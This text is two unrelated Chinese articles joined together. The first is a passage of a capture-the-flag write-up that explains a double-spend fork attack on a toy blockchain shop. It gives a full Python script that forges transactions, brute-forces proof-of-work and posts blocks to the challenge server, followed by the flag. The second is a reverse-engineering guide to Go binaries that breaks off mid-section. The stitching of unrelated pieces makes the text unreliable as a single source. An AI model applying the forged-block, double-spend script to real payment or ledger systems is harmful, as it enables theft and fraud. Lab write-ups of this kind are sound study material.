Balance of all addresses: {"b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985": 1, "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735": 0, "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131": 999999}
即
hacker:999999
bank:1
shop:0
然后关注到输入与输出
All utxos:
{
"07efd7c6-9331-4bc5-9284-3270c2e6b4c1":
{
"amount": 1, "hash": "79da1a4388dc5c8a108ed8e46a03be5afe9c9354d663197898fb9a1c9706ffb8",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "07efd7c6-9331-4bc5-9284-3270c2e6b4c1"},
"f7e645d3-80dc-4211-a144-16bb65e0ce9d":
{
"amount": 999999,
"hash": "e1177f4ad17602c1e97778eafb0be9f713788d0eb6c0a1f6a094058ac3b8f40d",
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "f7e645d3-80dc-4211-a144-16bb65e0ce9d"
}
}
以及区块情况
{
"d4b81acf2228fc10744a9a26c01d38a5ad93fc1050493027d9c34ceb0b2e8ab5":
{
"nonce": "a empty block",
"prev": "60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d",
"hash": "d4b81acf2228fc10744a9a26c01d38a5ad93fc1050493027d9c34ceb0b2e8ab5",
"transactions": [],
"height": 2
},
"10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7":
{
"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank",
"prev": "0000000000000000000000000000000000000000000000000000000000000000",
"hash": "10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7",
"transactions": [{"input": [],
"signature": [],
"hash": "3babd7fb07e2ad96f824eb2ed39adced4560fadeef92f194f8d51711285f4dab",
"output": [{"amount": 1000000,
"hash": "65019b18f48817c9bf7897bf616c0e72eb88370d60c0a2647fc8fb30b9b4dcfb",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "be4f2b71-f371-446b-be0d-b268352e8adf"}]}],
"height": 0},
"60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d":
{
"nonce": "HAHA, I AM THE BANK NOW!",
"prev": "10aced778e1efe7495bdf78756b5563b355bd9d0f620670b3718a96f511249c7",
"hash": "60f34caf7d0c257208bcd20bef32b7d3a9e3fff69fd9e66f9c634b39cce4c65d",
"transactions": [{"input": ["be4f2b71-f371-446b-be0d-b268352e8adf"],
"signature": ["585f3e49f71d97c5a014fd0947e9049fea260796ef65aa6d5ec46bb5bc1ccfb410741da1c1bff8e970ac3149fea6817c"],
"hash": "75da7f7eb267f1203fcc3e34347b2d109160a9836e140d3f500be8d6904bdfd5",
"output": [{"amount": 999999,
"hash": "e1177f4ad17602c1e97778eafb0be9f713788d0eb6c0a1f6a094058ac3b8f40d",
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "f7e645d3-80dc-4211-a144-16bb65e0ce9d"},
{"amount": 1,
"hash": "79da1a4388dc5c8a108ed8e46a03be5afe9c9354d663197898fb9a1c9706ffb8",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "07efd7c6-9331-4bc5-9284-3270c2e6b4c1"}]}],
"height": 1}
}
我们可以知道
第一个区块：创世区块
向银行地址发放DDB为1000000
第二个区块：黑客添加区块
让银行账户向黑客账户转账999999 DDB
第三个区块：空区块
然后我们查看getflag的方式
@app.route(url_prefix + '/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(
session['your_diamonds']) + shop_address
题目要求我们的钻石数大于等于2,即可返回flag
我们去查看如何获得钻石,定位到
@app.route(url_prefix + '/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
发现即shop的账户中拥有1000000即可获得钻石一枚
但是我们该系统中一共只有100万的DDB，如何去购买2颗钻石呢？
这里就涉及到了双花攻击(51%攻击)
顾名思义，双花攻击，花费100万，购买200万的物品，甚至更多的物品。
首先明确一点，这时没有人和我们比拼算力
即我们拥有100%的算力,所以我们可以轻松添加区块，改变主链走向
那么这和双花攻击有什么关系呢？
我们从下面的图片进行分析
蓝色为目前题目的3个区块
区块操作之前已经描述
> 第一个区块：创世区块 向银行地址发放DDB为1000000 第二个区块：黑客添加区块 让银行账户向黑客账户转账999999 DDB 第三个区块：空区块
而由于我们拥有100%算力，我们可以使用攻击，重新计算已经确认过的区块，改变区块走向
故此我们来到3个红色区块的地方
> 黑客区块2：向shop转账100万 黑客区块3：空区块 黑客区块4：空区块
此时由于我们算力最强，没有人可以计算的过我们，我们成功改变主链走向
此时主链变为
而由于现在主链变为红色部分，之前黑客的操作全部作废
所以此时我们的操作成立，即shop获得100万，我们获得钻石一枚
此时我们可以触发双花攻击
即我们让shop把这100万转出去，然后改变主链走向，让这一操作不成立，则100万又会返回到shop，此时我们的钻石又会继续+1
如图
我们现在的主链为红色部分，我们在黑客区块5，让shop给shop_wallet_addressz转账100万
然后我们利用最强算力
重新计算黑客区块5(已确认过的区块)
生成空区块(绿色部分)
> 黑客区块6 黑客区块7
由于我们后续创建的分叉支路(绿色)更长
所以成为主链
之前的shop转账操作作废，100万回到shop手中
此时我们的钻石即可再次+1
故此可以完成此题
## payload构造
首先我们关注到hacker区块的写法，即原始第二个区块
为了模仿黑客创建区块的转账写法，我们去跟一跟源码，以便创造我们自己的伪区块，给shop转账
从路由
@app.route(url_prefix + '/')
中我们可以看到
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
我们跟进`get_balance_of_all()`
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
我们跟进init()
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
我们继续跟进create_block()
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
可以得到区块生成需要的元素
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
其中
prev为前一个区块的hash
nonce需要我们自行爆破遍历
transactions(交易)需要我们自己计算
然后我们跟进append_block()
不难发现关键语句
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height'] + 1
其中要求
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
故此我们可以写出爆破函数
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
而关于transactions的计算在create_block()中同样有体现，我就不赘述了，可以浓缩为
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]
至此三元素基本解决
值得一提的是，空区块无需计算transactions，所以基本就是爆破遍历Nonce了
最后可以写出一键化运行脚本
## payload
安装好库依赖，一键化脚本，直接运行即可获得flag
# # -*- encoding: utf-8 -*- import rsa, uuid, json, copy,requests,re,hashlib
# 获取初始session
url = "http://116.85.48.107:5000/b942f830cf97e/"
r = requests.get(url=url)
session = r.headers['Set-Cookie'].split(";")[0][8:]
Cookie = {
"session":session
}
r = requests.get(url=url,cookies=Cookie)
# 获取需要的信息
genesis_hash_re = r'hash of genesis block: (.*?)<br /><br />'
genesis_hash = re.findall(genesis_hash_re, r.content)[0]
shop_address_re = r", the shop's addr: (.*?)<br /><br />"
shop_address = re.findall(shop_address_re, r.content)[0]
input_re = r'''[{"input": ["(.*?)"],'''
input = re.findall(input_re, r.content)[0]
signature_re = r'''"], "signature": ["(.*?)"]'''
signature = re.findall(signature_re, r.content)[0]
txout_id = str(uuid.uuid4())
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
def myprint(b):
return json.dumps(b)
DIFFICULTY = int('00000' + 'f' * 59, 16)
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x) + hash(y))
EMPTY_HASH = '0' * 64
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, DIFFICULTY, msg)
return b
#从创世块开始分叉，给商店转1000000
block1 = {}
block1["prev"] = genesis_hash
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = hash_utxo(tx["output"][0])
tx['hash'] = hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, DIFFICULTY)
url_begin = "http://116.85.48.107:5000/b942f830cf97e/create_transaction"
def header_change(session):
header = {
"Host":"116.85.48.107:5000",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"session="+session,
"Connection":"close",
"Content-Type":"application/json"
}
return header
s1 = requests.post(url=url_begin,data=myprint(block1),headers=header_change(session))
session1 = s1.headers['Set-Cookie'].split(";")[0][8:]
print s1.content
#构造空块增加分叉链长度，使分叉链最长，因为max的结果不唯一，少则一次多则两次
block2 = empty_block("myempty1", block1["hash"])
s2 = requests.post(url=url_begin,data=myprint(block2),headers=header_change(session1))
session2 = s2.headers['Set-Cookie'].split(";")[0][8:]
print s2.content
block3 = empty_block("myempty2", block2["hash"])
s3 = requests.post(url=url_begin,data=myprint(block3),headers=header_change(session2))
session3 = s3.headers['Set-Cookie'].split(";")[0][8:]
print s3.content
#余额更新成功,系统自动添加块，转走商店钱，钻石+１
#从自己的块，即系统转走钱之前的那个块再次分叉，添加空块
block4 = empty_block("myempty3", block3["hash"])
s4 = requests.post(url=url_begin,data=myprint(block4),headers=header_change(session3))
session4 = s4.headers['Set-Cookie'].split(";")[0][8:]
print s4.content
block5 = empty_block("myempty4", block4["hash"])
s5 = requests.post(url=url_begin,data=myprint(block5),headers=header_change(session4))
session5 = s5.headers['Set-Cookie'].split(";")[0][8:]
print s5.content
flag_url = "http://116.85.48.107:5000/b942f830cf97e/flag"
flag = requests.get(url=flag_url,headers=header_change(session5))
print flag.content
#新的分叉链最长，余额更新成功，钻石+１
运行结果
transaction finished.
transaction finished. You receive a diamond.
transaction finished. You receive a diamond.
transaction finished. You receive a diamond.
transaction finished.
Here is your flag: DDCTF{B1OcKch@iN_15_FuN_d03f8306a6e}
最后得到flag
DDCTF{B1OcKch@iN_15_FuN_d03f8306a6e}
## 后记
区块链博大精深，初涉皮毛，希望以后可以深入学习，顺应时代潮流~ | 社区文章 |
**作者：漏洞研究团队@深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/CrmgqLwXUaR7Uccj_72f3g>**
Go语言具有开发效率高，运行速度快，跨平台等优点，因此正越来越多的被攻击者所使用，其生成的是可直接运行的二进制文件，因此对它的分析类似于普通C语言可执行文件分析，但是又有所不同，本文将会使用正向与逆向结合的方式描述这些区别与特征。
## 一、语言特性
### Ⅰ. Compile与Runtime
Go语言类似于C语言，目标是一个二进制文件，逆向的也是native代码，它有如下特性：
1.强类型检查的编译型语言，接近C但拥有原生的包管理，内建的网络包，协程等使其成为一款开发效率更高的工程级语言。
2.作为编译型语言它有运行速度快的优点，但是它又能通过内置的运行时符号信息实现反射这种动态特性。
3.作为一种内存安全的语言，它不仅有内建的垃圾回收，还在编译与运行时提供了大量的安全检查。
可见尽管它像C编译的可执行文件但是拥有更复杂的运行时库，Go通常也是直接将这些库统一打包成一个文件的，即使用静态链接，因此其程序体积较大，且三方库、标准库与用户代码混在一起，需要区分，这可以用类似flirt方法做区分(特别是对于做了混淆的程序)。在分析Go语言编写的二进制程序前，需要弄清楚某一操作是发生在编译期间还是运行期间，能在编译时做的事就在编译时做，这能实现错误前移并提高运行效率等，而为了语言的灵活性引入的某些功能又必须在运行时才能确定，在这时就需要想到运行时它应该怎么做，又需要为它提供哪些数据，例如：
func main() {
s := [...]string{"hello", "world"}
fmt.Printf("%s %s\n", s[0], s[1]) // func Printf(format string, a ...interface{}) (n int, err error)
}
在第二行定义了一个字符串数组，第三行将其输出，编译阶段就能确定元素访问的指令以及下标访问是否越界，于是就可以去除s的类型信息。但是由于Printf的输入是interface{}类型，因此在编译时它无法得知传入的数据实际为什么类型，但是作为一个输出函数，希望传入数字时直接输出，传入数组时遍历输出每个元素，那么在传入参数时，就需要在编译时把实际参数的类型与参数绑定后再传入Printf，在运行时它就能根据参数绑定的信息确定是什么类型了。其实在编译时，编译器做的事还很多，从逆向看只需要注意它会将很多操作转换为runtime的内建函数调用，这些函数定义在cmd/compile/internal/gc/builtin/runtime.go，并且在src/runtime目录下对应文件中实现，例如：
a := "123" + b + "321"
将被转换为concatstring3函数调用：
0x0038 00056 (str.go:4) LEAQ go.string."123"(SB), AX
0x003f 00063 (str.go:4) MOVQ AX, 8(SP)
0x0044 00068 (str.go:4) MOVQ $3, 16(SP)
0x004d 00077 (str.go:4) MOVQ "".b+104(SP), AX
0x0052 00082 (str.go:4) MOVQ "".b+112(SP), CX
0x0057 00087 (str.go:4) MOVQ AX, 24(SP)
0x005c 00092 (str.go:4) MOVQ CX, 32(SP)
0x0061 00097 (str.go:4) LEAQ go.string."321"(SB), AX
0x0068 00104 (str.go:4) MOVQ AX, 40(SP)
0x006d 00109 (str.go:4) MOVQ $3, 48(SP)
0x0076 00118 (str.go:4) PCDATA $1, $1
0x0076 00118 (str.go:4) CALL runtime.concatstring3(SB)
我们将在汇编中看到大量这类函数调用，本文将在对应章节介绍最常见的一些函数。若需要观察某语法最终编译后的汇编代码，除了使用ida等也可以直接使用如下三种方式：
go tool compile -N -l -S once.go
go tool compile -N -l once.go ; go tool objdump -gnu -s Do once.o
go build -gcflags -S once.go
### Ⅱ. 动态与类型系统
尽管是编译型语言，Go仍然提供了一定的动态能力，这主要表现在接口与反射上，而这些能力离不开类型系统，它需要保留必要的类型定义以及对象和类型之间的关联，这部分内容无法在二进制文件中被去除，否则会影响程序运行，因此在Go逆向时能获取到大量的符号信息，大大简化了逆向的难度，对此类信息已有大量文章介绍并有许多优秀的的工具可供使用，例如[go_parser](https://github.com/0xjiayu/go_parser)与[redress](https://github.com/goretk/redress)，因此本文不再赘述此内容，此处推荐《[Go二进制文件逆向分析从基础到进阶——综述](https://www.anquanke.com/post/id/214940)》。
本文将从语言特性上介绍Go语言编写的二进制文件在汇编下的各种结构，为了表述方便此处定义一些约定：
1. 尽管Go并非面向对象语言，但是本文将Go的类型描述为类，将类型对应的变量描述为类型的实例对象。
2. 本文分析的样例是x64上的样本，通篇会对应该平台叙述，一个机器字认为是64bit。
3. 本文会涉及到Go的参数和汇编层面的参数描述，比如一个复数在Go层面是一个参数，但是它占16字节，在汇编上将会分成两部分传递(不使用xmm时)，就认为汇编层面是两个参数。
4. 一个复杂的实例对象可以分为索引头和数据部分，它们在内存中分散存储，下文提到一种数据所占内存大小是指索引头的大小，因为这部分是逆向关注的点，详见下文字符串结构。
## 二、数据结构
### Ⅰ. 数值类型
数值类型很简单只需要注意其大小即可：
类型 | 32位平台 | 64位平台
---|---|---
bool、int8、uint8 | 8bit | 8bit
int16、uint16 | 16bit | 16bit
int32、uint32、float32 | 32bit | 32bit
int64、uint64、float64、complex64 | 64bit | 64bit
int、uint、uintptr | 32bit | 64bit
complex128 | 128bit | 128bit
### Ⅱ. 字符串string
Go语言中字符串是二进制安全的，它不以\0作为终止符，一个字符串对象在内存中分为两部分，一部分为如下结构，占两个机器字用于索引数据：
type StringHeader struct {
Data uintptr // 字符串首地址
Len int // 字符串长度
}
而它的另一部分才存放真正的数据，它的大小由字符串长度决定，在逆向中重点关注的是如上结构，因此说一个string占两个机器字，后文其他结构也按这种约定。例如下图使用printf输出一个字符串"hello
world"，它会将上述结构入栈，由于没有终止符ida无法正常识别字符串结束因此输出了很多信息，我们需要依靠它的第二个域(此处的长度0x0b)决定它的结束位置：
字符串常见的操作是字符串拼接，若拼接的个数不超过5个会调用concatstringN，否则会直接调用concatstrings，它们声明如下，可见在多个字符串拼接时参数形式不同：
func concatstring2(*[32]byte, string, string) string
func concatstring3(*[32]byte, string, string, string) string
func concatstring4(*[32]byte, string, string, string, string) string
func concatstring5(*[32]byte, string, string, string, string, string) string
func concatstrings(*[32]byte, []string) string
因此在遇到concatstringN时可以跳过第一个参数，随后入栈的参数即为字符串，而遇到concatstrings时，跳过第一个参数后汇编层面还剩三个参数，其中后两个一般相同且指明字符串个数，第一个参数则指明字符串数组的首地址，另外经常出现的是string与[]byte之间的转换，详见下文slice部分。提醒一下，可能是优化导致一般来说在栈内一个纯字符串的两部分在物理上并没有连续存放，例如下图调用macaron的context.Query("username")获取到的应该是一个代表username的字符串，但是它们并没有被连续存放：
因此ida中通过定义本地结构体去解析string会遇到困难，其他结构也存在这类情况，气。
### Ⅲ. 数组array
类似C把字符串看作char数组，Go类比知array和string的结构类似，其真实数据也是在内存里连续存放，而使用如下结构索引数据，对数组里的元素访问其地址偏移在编译时就能确定，总之逆向角度看它也是占两个机器字：
type arrayHeader struct {
Data uintptr
Len int
}
数组有三种存储位置，当数组内元素较少时可以直接存于栈上，较多时存于数据区，而当数据会被返回时会存于堆上。如下定义了三个局部变量，但是它们将在底层表现出不同的形态：
func ArrDemo() *[3]int {
a := [...]int{1, 2, 3}
b := [...]int{1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
c := [...]int{1, 2, 3}
if len(a) < len(b) {return &c}
return nil
}
变量a的汇编如下，它直接在栈上定义并初始化：
变量b的汇编如下，它的初始值被定义在了数据段并进行拷贝初始化：
事实上更常见的拷贝操作会被定义为如下这类函数，因此若符号信息完整遇到无法识别出的函数一般也就是数据拷贝函数：
变量c的汇编如下，尽管它和a的值一样，但是它的地址会被返回，如果在C语言中这种写法会造成严重的后果，不过Go作为内存安全的语言在编译时就识别出了该问题(指针逃逸)并将其放在了堆上，此处引出了runtime.newobject函数，该函数传入的是数据的类型指针，它将在堆上申请空间存放对象实例，返回的是新的对象指针：
经常会遇到的情况是返回一个结构体变量，然后将其赋值给newobject申请的新变量上。
### Ⅳ. 切片slice
类似数组，切片的实例对象数据结构如下，可知它占用了三个机器字，与它相关的函数是growslice表示扩容，逆向时可忽略：
type SliceHeader struct {
Data uintptr // 数据指针
Len int // 当前长度
Cap int // 可容纳的长度
}
更常见的函数是与字符串相关的转换，它们在底层调用的是如下函数，此处我们依然不必关注第一个参数：
func slicebytetostring(buf *[32]byte, ptr *byte, n int) string
func stringtoslicebyte(*[32]byte, string) []byte
例如下图：
可见传入的是两个参数代表一个string，返回了三个数据代表一个[]byte。
### Ⅴ. 字典map
字典实现比较复杂，不过在逆向中会涉及到的内容很简单，字典操作常见的会转换为如下函数，一般fastrand和makemap连用返回一个map，它为一个指针，读字典时使用mapaccess1和mapaccess2，后者是使用,ok语法时生成的函数，runtime里还有很多以2结尾的函数代表同样的含义，后文不再赘述。写字典时会使用mapassign函数，它返回一个地址，将value写入该地址，另外还比较常见的是对字典进行遍历，会使用mapiterinit和mapiternext配合：
func fastrand() uint32
func makemap(mapType *byte, hint int, mapbuf *any) (hmap map[any]any)
func mapaccess1(mapType *byte, hmap map[any]any, key *any) (val *any)
func mapaccess2(mapType *byte, hmap map[any]any, key *any) (val *any, pres bool)
func mapassign(mapType *byte, hmap map[any]any, key *any) (val *any)
func mapiterinit(mapType *byte, hmap map[any]any, hiter *any)
func mapiternext(hiter *any)
事实上更常见的是上面这些函数的同类函数，它们的后缀代表了对特定类型的优化，例如如下代码，它首先调用makemap_small创建了一个小字典并将其指针存于栈上，之后调用mapassign_faststr传入一个字符串键并获取一个槽，之后将数据写入返回的槽地址里，这里就是一个创建字典并赋值的过程：
如下是访问字典里数据的情况，调用mapaccess1_fast32传入了一个32位的数字作为键：
可以看到mapaccess和mapassign的第一个参数代表字典的类型，因此能很容易知道字典操作参数和返回值的类型。
### Ⅵ. 结构体struct
类似于C语言，Go的结构体也是由其他类型组成的复合结构，它里面域的顺序也是定义的顺序，里面的数据对齐规则和C一致不过我们可以直接从其类型信息获得，不必自己算。在分析结构体变量时必须要了解结构体的类型结构了，其定义如下：
type rtype struct { size uintptr // 该类型对象实例的大小 ptrdata uintptr // number of bytes in the type that can contain pointers hash uint32 // hash of type; avoids computation in hash tables tflag tflag // extra type information flags align uint8 // alignment of variable with this type fieldAlign uint8 // alignment of struct field with this type kind uint8 // enumeration for C alg *typeAlg // algorithm table gcdata *byte // garbage collection data str nameOff // 名称 ptrToThis typeOff // 指向该类型的指针，如该类为Person，代码中使用到*Person时，后者也是一种新的类型，它是指针但是所指对象属于Person类，后者的类型位置存于此处}
type structField struct { name name // 属性名称 typ *rtype // 该域的类型 offsetEmbed uintptr // 该属性在对象中的偏移左移一位后与是否是嵌入类型的或，即offsetEmbed>>1得到该属性在对象中的偏移}
type structType struct { rtype pkgPath name // 包名 fields []structField // 域数组}
type uncommonType struct { pkgPath nameOff // 包路径 mcount uint16 // 方法数 xcount uint16 // 导出的方法数 moff uint32 // 方法数组的偏移，方法表也是有需的，先导出方法后私有方法，而其内部按名称字符串排序 _ uint32 // unused}
type structTypeUncommon struct { structType u uncommonType}
如下为macaron的Context结构体的类型信息，可见它的实例对象占了0x90字节，这实际上会和下面fields中对象所占空间对应：
通过macaron_Context_struct_fields可转到每个域的定义，可见其域名称域类型，偏移等：
结构体类型作为自定义类型除了域之外，方法也很重要，这部分在后文会提到。
### Ⅶ. 接口 interface
接口和反射息息相关，接口对象会包含实例对象类型信息与数据信息。这里需要分清几个概念，一般我们是定义一种接口类型，再定义一种数据类型，并且在这种数据类型上实现一些方法，Go使用了类似鸭子类型，只要定义的数据类型实现了某个接口定义的
** _*全部*_**
方法则认为实现了该接口。前面提到的两个是类型，在程序运行过程中对应的是类型的实例对象，一般是将实例对象赋值给某接口，这可以发生在两个阶段，此处主要关注运行时阶段，这里在汇编上会看到如下函数：
// Type to empty-interface conversion.
func convT2E(typ *byte, elem *any) (ret any)
// Type to non-empty-interface conversion.
func convT2I(tab *byte, elem *any) (ret any)
如上转换后的结果就是接口类型的实例对象，此处先看第二个函数，它生成的对象数据结构如下，其中itab结构体包含接口类型，转换为接口前的实例对象的类型，以及接口的函数表等，而word是指向原对象数据的指针，逆向时主要关注word字段和itab的fun字段，fun字段是函数指针数组，它里元素的顺序并非接口内定义的顺序，而是名称字符串排序，因此对照源码分析时需要先排序才能根据偏移确定实际调用的函数：
type nonEmptyInterface struct {
// see ../runtime/iface.c:/Itab
itab *struct {
ityp *rtype // 代表的接口的类型，静态static interface type
typ *rtype // 对象实例真实的类型，运行时确定dynamic concrete type
link unsafe.Pointer
bad int32
unused int32
fun [100000]unsafe.Pointer // 方法表，具体大小由接口定义确定
}
word unsafe.Pointer
}
这是旧版Go的实现，在较新的版本中此结构定义如下，在新版中它的起始位置偏移是0x18，因此我们可以直接通过调用偏移减0x18除以8获取调用的是第几个方法：
type nonEmptyInterface struct {
// see ../runtime/iface.go:/Itab
itab *struct {
ityp *rtype // static interface type
typ *rtype // dynamic concrete type
hash uint32 // copy of typ.hash
_ [4]byte
fun [100000]unsafe.Pointer // method table
}
word unsafe.Pointer
}
上面讲的是第二个函数的作用，解释第一个函数需要引入一种特殊的接口，即空接口，由于这种接口未定义任何方法，那么可以认为所有对象都实现了该接口，因此它可以作为所有对象的容器，在底层它和其他接口也拥有不同的数据结构，空接口的对象数据结构如下：
// emptyInterface is the header for an interface{} value.
type emptyInterface struct {
typ *rtype // 对象实例真实的类型指针
word unsafe.Pointer // 对象实例的数据指针
}
可见空接口两个域刚好指明原始对象的类型和数据域，而且所有接口对象是占用两个个机器字，另外常见的接口函数如下：
// Non-empty-interface to non-empty-interface conversion.
func convI2I(typ *byte, elem any) (ret any)
// interface type assertions x.(T)
func assertE2I(typ *byte, iface any) (ret any)
func assertI2I(typ *byte, iface any) (ret any)
例如存在如下汇编代码：
可以知道convI2I的结果是第一行所指定接口类型对应的接口对象，在最后一行它调用了itab+30h处的函数，根据计算可知是字母序后的第 **
_*4*_** 个函数，这里可以直接查看接口的类型定义，获知第四个函数：
## 三、语法特性
### Ⅰ. 新建对象
Go不是面向对象的，此处将Go的变量当做对象来描述。函数调用栈作为一种结构简单的数据结构可以轻易高效的管理局部变量并实现垃圾回收，因此新建对象也优先使用指令在栈上分配空间，当指针需要逃逸或者动态创建时会在堆区创建对象，这里涉及make和new两个关键词，不过在汇编层面它们分别对应着makechan，makemap，makeslice与newobject，由于本文没有介绍channel故不提它，剩下的makemap和newobject上文已经提了，还剩makeslice，它的定义如下：
func makeslice(et *_type, len, cap int) unsafe.Pointer
如下，调用make([]uint8, 5,10)创建一个slice后，会生成此代码：
### Ⅱ. 函数与方法
#### 1.栈空间
栈可以分为两个区域，在栈底部存放局部变量，栈顶部做函数调用相关的参数与返回值传递，因此在分析时不能对顶部的var命名，因为它不特指某具体变量而是随时在变化的，错误的命名容易造成混淆，如下图，0xE60距0xEC0足够远，因此此处很大概率是局部变量可重命名，而0xEB8距栈顶很近，很大概率是用于传参的，不要重命名：
#### 2.变参
类似Python的一般变参实际被转换为一个tuple，Go变参也被转换为了一个slice，因此一个变参在汇编级别占3个参数位，如下代码：
func VarArgDemo(args ...int) (sum int) {}
func main() {
VarArgDemo(1, 2, 3)
}
它会被编译为如下形式：
这里先将1,2,3保存到rsp+80h+var_30开始的位置，然后将其首地址，长度(3)，容量(3)放到栈上，之后调用VarArgDeme函数。
#### 3.匿名函数
匿名函数通常会以外部函数名_funcX来命名，除此之外和普通函数没什么不同，只是需要注意若使用了外部变量，即形成闭包时，这些变量会以引用形式传入，如在os/exec/exec.go中如下代码：
go func() {
select {
case <-c.ctx.Done():
c.Process.Kill()
case <-c.waitDone:
}
}()
其中c是外部变量，它在调用时会以参数形式传入(newproc请见后文协程部分)：
而在io/pipe.go中的如下代码：
func (p *pipe) CloseRead(err error) error {
if err == nil {
err = ErrClosedPipe
}
p.rerr.Store(err)
p.once.Do(func() { close(p.done) })
return nil
}
其中p是外部变量，它在调用时是将其存入外部寄存器(rdx)传入的：
可见在使用到外部变量时它们会作为引用被传入并使用。
#### 4.方法
Go可以为任意自定义类型绑定方法，方法将会被转换为普通函数，并且将方法的接收者转化为第一个参数，再看看上文结构体处的图：
如上可见Context含44个导出方法，3个未导出方法，位置已经被计算出在0xcdbaa8，因此可转到方法定义数组：
如上可见，首先是可导出方法，它们按照名称升序排序，之后是未导出方法，它们也是按名称升序排序，另外导出方法有完整的函数签名，而未导出方法只有函数名称。在逆向时不必关心这一部分结构，解析工具会自动将对应的函数调用重命名，此处仅了解即可。
在逆向时工具会将其解析为类型名__方法名或类型名_方法名，因此遇到此类名称时我们需要注意它的第一个参数是隐含参数，类似C++的this指针，但Go的方法定义不仅支持传引用，也支持传值，因此第一个参数可能在汇编层面不只占一个机器字，如：
type Person struct {
name string
age int
weight uint16
height uint16
}
func (p Person) Print() {
fmt.Printf("%t\n", p)
}
func (p *Person) PPrint() {
fmt.Printf("%t\n", p)
}
func main(){
lihua := Person{
name: "lihua",
age: 18,
weight: 60,
height: 160,
}
lihua.Print()
lihua.PPrint()
}
编译后如下所示：
